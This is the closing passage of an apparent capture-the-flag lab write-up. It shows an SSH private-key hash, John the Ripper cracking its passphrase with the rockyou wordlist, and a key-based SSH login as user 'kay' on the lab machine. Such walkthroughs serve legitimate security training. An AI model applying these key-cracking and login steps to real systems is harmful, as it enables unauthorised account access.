fd8078de615833305fe0ae0d22173e8d744435fe3a69a81313109f9c5cdcb56d67544a36aa27a3b7c0db50b3b829972368ff2ed998c1910b392720c0d4cbaa907a49f2c38f970503971d64b6972f5b7b5c34735a08129c2b7ee82c6ccc49ddc943a5ae2f4467c5d7a07859e39ae00023c771d59caca0817ce412d35849abd9d225ed96e34de5266b31fd4dd82dab9469582b1e41687a39f108da54b6e84771542cb11f5c522e62b79b6867e8a20df2e8c9bf9ff36634c0de536fa3d377fa27543b6c90895f13bdf50f03b2dd97e5d25d452fa6a0d225704eb3c19751864285dfe3031bc2ff5b0c5d19a7feae6ad5625757477aa3c3f0eb635717f1f5b9037b3a76425db2a2151e2810eefbb75853d939360d1240093b2497a8903eff9b98bc705c2afe0e5541af2bb06b0ec50e4caf798a7f59ffc3a3e70565d887b9f694bdfa64d15a70ed55eacccc69af3fe3cf5aa5b6e3a7186eb5036e12efe53fcc509719a6a6f3ec0c008cb6a035229a1597d9be6beb13444d84c93f2164844c8ae69aa13648578087b98e90dd03f9da47d9ce306dddc88dd80998bf6d3910d209bebb1a70f8b73d944d949b1b1b19b13a455776f3c2e6647fa6722fc2bad5b202502684e91514a11e3437a92a09febffcfc3d55095b43e14b0567e8f5cbd91728b693fe82b8f75ccaf27c0651152faaf0610d2edcabc0b9ac51895180fbf60b868771dee58edb97e99d5ca3592cc9733a76ae0b96ca5788be62e8fb006204c574482579701781b46ec979bdbc9d339e57967051ca87fadae7184bd79cac0af834632081c5df6189dcc4cc8a0170cac12c30c1fff21c4c17f20813112bf901df81c5d78ca22024f1cd58cb5b73c1d68c6529ce4b21d7b95941e099f9a6140bdd1f0ead9113b2e5f17c354aacf79a38a104d6f844559417552387182ba20d890203a6a5e9661d23d8b6fae351a208ef5550555592011fec39609858b6b22743b0cca80c97d58076a660be95e460177cab3fd6b690b01a0e4f5d0507157afe9c4dc7f384187256a9a5d56ab00d466d44e4f07e5f348e8f100e5abe1c4d1bbc207fa3617140a604b607c7e3f5020f9aabb0700ad790e7847e085eb2243e503bf7d097ae15a2ee6179262e351773bb880123c0a87a43f62380fbe08fc2c63ac08ffe2ba0c6deeefbdd49eeaa2ffd1053aceec67b25f92dcfd25b58fa4fab2328481af26f5f4b5d21e1312b78f913b7f08254b064336d84c1aa3c82582e1cde55b5a347d264cb9e98df34b5490831e5d212b38b7cd999daf186a97efd6250e1e6820079358542f77ac78ddd9a505919c318000fc47f8b80fc84f12cf58adf1a3ee3fc8190015058c16c414cc0d6017b9a1fb032ee20e842573b30fc3214ac5fb8962437477e81bb6479fa498f148924796d6d616218ec2a5fa0949def8542dc9b75fd95b75c26fbe91ef9b06e61e90e0df20bb973f33471dab5e87f4c1f0a5d8a7f4e653a8edb337116fa6e5ed858
kali@kali:~/tryhackme$ sudo john -w=/home/kali/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rs)
^Z
[4]+ Stopped sudo john -w=/home/kali/rockyou.txt hash
kali@kali:~/tryhackme$ ssh kay@10.10.61.236
kay@10.10.61.236's password:
Permission denied, please try again.
kay@10.10.61.236's password:
[5]+ Stopped ssh kay@10.10.61.236
kali@kali:~/tryhackme$ ssh -i id_rs kay@10.10.61.236
load pubkey "id_rs": invalid format
Enter passphrase for key 'id_rs':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
kay@basic2:~$
And here we managed to get into the system as the user.
Thanks for reading hope that you enjoyed.